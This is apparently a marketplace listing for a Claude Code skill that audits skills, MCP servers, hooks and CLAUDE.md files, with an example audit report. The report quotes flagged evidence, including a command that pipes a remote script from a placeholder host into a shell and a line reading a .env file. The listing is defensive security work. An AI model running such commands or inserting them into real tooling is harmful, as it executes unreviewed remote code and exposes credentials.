Works with the AI Agents you already use
bix-claude-skills: Skill and MCP Security Audit
Scan Claude Code skills, MCP servers, hooks and CLAUDE.md files for risky patterns before you trust them.
Free
bix-claude-skills: Skill and MCP Security Audit
Example session with this skill installed
Simply invoke the skill pointing at a skill repo or package.
/audit https://github.com/acme-dev/release-notes-skill
or generally ask Claude code to use the skill to audit.
Audit this skill before I install it: https://github.com/acme-dev/release-notes-skill
- Read your context and instructions
- Compiled the bix-claude-
I downloaded acme-dev/release-notes-skill to a temp directory and audited it. The quick scan scored 56/100 (SUSPICIOUS), so I ran the deep scan. The skill agent confirmed that a helper script pipes a remote script into a shell and that the skill reads .env files, neither of which fits a release-notes formatter. Combined score is 68/100. I changed nothing in the skill, and the temp download has been removed.
Quick Scan Results
Risk Score: 56/100 (SUSPICIOUS)
Files scanned: 9
Pattern matches: 1 critical, 2 high, 3 medium, 2 low
Security Audit Report
Target: acme-dev/release-notes-skill (https://github.com/acme-dev/release-notes-skill)
Date: 2026-10-13
Mode: skill
WARNING: This audit found serious security concerns. Do NOT install or use this without careful manual review.
Risk Score: 68/100 (DANGEROUS)
| Severity | Count |
|---|---|
| Critical | 1 |
| High | 2 |
| Medium | 3 |
| Low | 2 |
| Info | 1 |
Scope Audited
| Surface | Status | Findings |
|---|---|---|
| Skill/Plugin files | Audited | 8 |
| MCP servers | Not in scope | 0 |
| Hooks | Not in scope | 0 |
| CLAUDE.md files | Not in scope | 0 |
Critical & High Findings
[CRITICAL] MP002: Curl pipe to shell
- Category: malicious_payload
- Location: scripts/setup.sh:14
- Evidence:
curl -s https://cdn.example-tools.io/init.sh | sh - Impact: Runs unreviewed remote code with your user permissions at setup time.
- Recommendation: Do not run
setup.sh. Ask the author to vendor and review the script.
[HIGH] CT008: Credential file access
- Category: credential_theft
- Location: scripts/collect.py:22
- Evidence:
open(os.path.join(repo, ".env")) - Impact: A release-notes tool has no reason to read
.env. Values could end up in generated output. - Recommendation: Treat as unjustified until the author explains it.
[HIGH] ST001: Excessive tool permissions
- Category: structural
- Location: SKILL.md:5
- Evidence:
allowed-tools: Bash, Write, Edit - Impact: Broad access for a text-formatting task.
- Recommendation: Restrict to the tools the skill needs.
Medium & Low Findings
Click to expand 5 findings
- [MEDIUM] NW004 SKILL.md:31, non-GitHub external URL (
cdn.example-tools.io) - [MEDIUM] NW004 scripts/setup.sh:14, non-GitHub external URL
- [MEDIUM] OB003 scripts/collect.py:40, dynamic code execution via
eval( - [LOW] IN001 scripts/collect.py:9, environment variable read
- [LOW] IN003 scripts/collect.py:51, subprocess spawning
Informational Notes
Click to expand 1 notes
- SKILL.md frontmatter is well formed. The description says "release notes" but the setup script fetches code unrelated to that purpose.
What Looks Clean
- No binaries or executables beyond two shell and Python scripts.
- No Unicode tricks or hidden HTML comments in SKILL.md.
- No hardcoded API keys.
Recommendations
- Do not install this skill as published.
- If you still want it, remove the
curl | shline and the.envread, then re-run the audit. - Ask the author why
eval(is used on collected data.
Next steps
- Re-run
/audit skill ./release-notes-skillafter the author fixes the flagged lines. - Run
/audit hooksand/audit claudemdon your own setup. - Use
/audit allon a freshly cloned project before opening it in Claude Code.
Connects securely to your tools. The creator never sees your data.
About this skill
Third-party AI tools and MCP servers often request excessive permissions or hide malicious hooks. This skill vets Claude Code extensions, servers, and configuration files for security vulnerabilities before you install them. It replaces manual code review with a multi-stage automated audit process.
What it does
- Multi-surface scanning examines skills, MCP servers, lifecycle hooks, and
CLAUDE.mdfiles for hidden risks. - Pattern detection identifies suspicious shell commands, network calls, and unauthorized filesystem access.
- Deep analysis launches parallel sub-agents to evaluate the intent of complex logic vs declared permissions.
- Risk scoring provides a 0-100 verdict ranging from Safe to Malicious based on combined findings.
- Remote resolution pulls targets directly from GitHub URLs or npm packages for sandboxed inspection.
How it works
- Targeting: Specify a local path, GitHub URL, or npm package using the
auditcommand with a specific mode likeskillormcp. - Quick Scan: The agent executes a high-speed Python-based pattern scan to find immediate red flags.
- Deep Analysis: If risks are found, parallel Sonnet-powered agents perform a contextual review of the source code.
- Reporting: You receive a structured security report with severity-ranked findings and installation recommendations.
Frameworks & tools
This skill requires Python 3 for initial scanning and uses Sonnet sub-agents for deep contextual analysis. It integrates with Claude Code and MCP server configurations.
Why this beats prompting it yourself
Generic prompts often miss obfuscated code or nested hooks in complex extension directories. This tool uses specialized Python scripts for exhaustive pattern matching and parallel agents to maintain a strict security-focused persona that doesn't suffer from context drift.
Use cases
- Vetting a community-made MCP server found on GitHub before adding it to your config.
- Auditing local lifecycle hooks to ensure no scripts are exfiltrating environment variables.
- Reviewing a new project's
CLAUDE.mdfor prompt injection or risky instructions. - Scanning an entire local extension environment for permission overreach.
Known limitations
Requires Python 3 installed on the host machine. Audit scope is limited to the targeted directory or package and does not monitor runtime behavior post-installation.
How to use
Skills on Agensi run inside your AI agent. Copy the prompt, paste it into your agent, and it connects to Agensi and installs this skill for you. If a payment is needed, your agent shows it to you first.
Reviews
No reviews yet
Be one of the first to try it. Every listed skill passes our trust checks below.
Security scanned
Passed our 8-point scan before listing
Fresh listing
Recently published to Agensi
Free forever
No account required to browse
Trust & safety
Security scanned
Verified clean 6 days ago
- Free to download with an account
Requires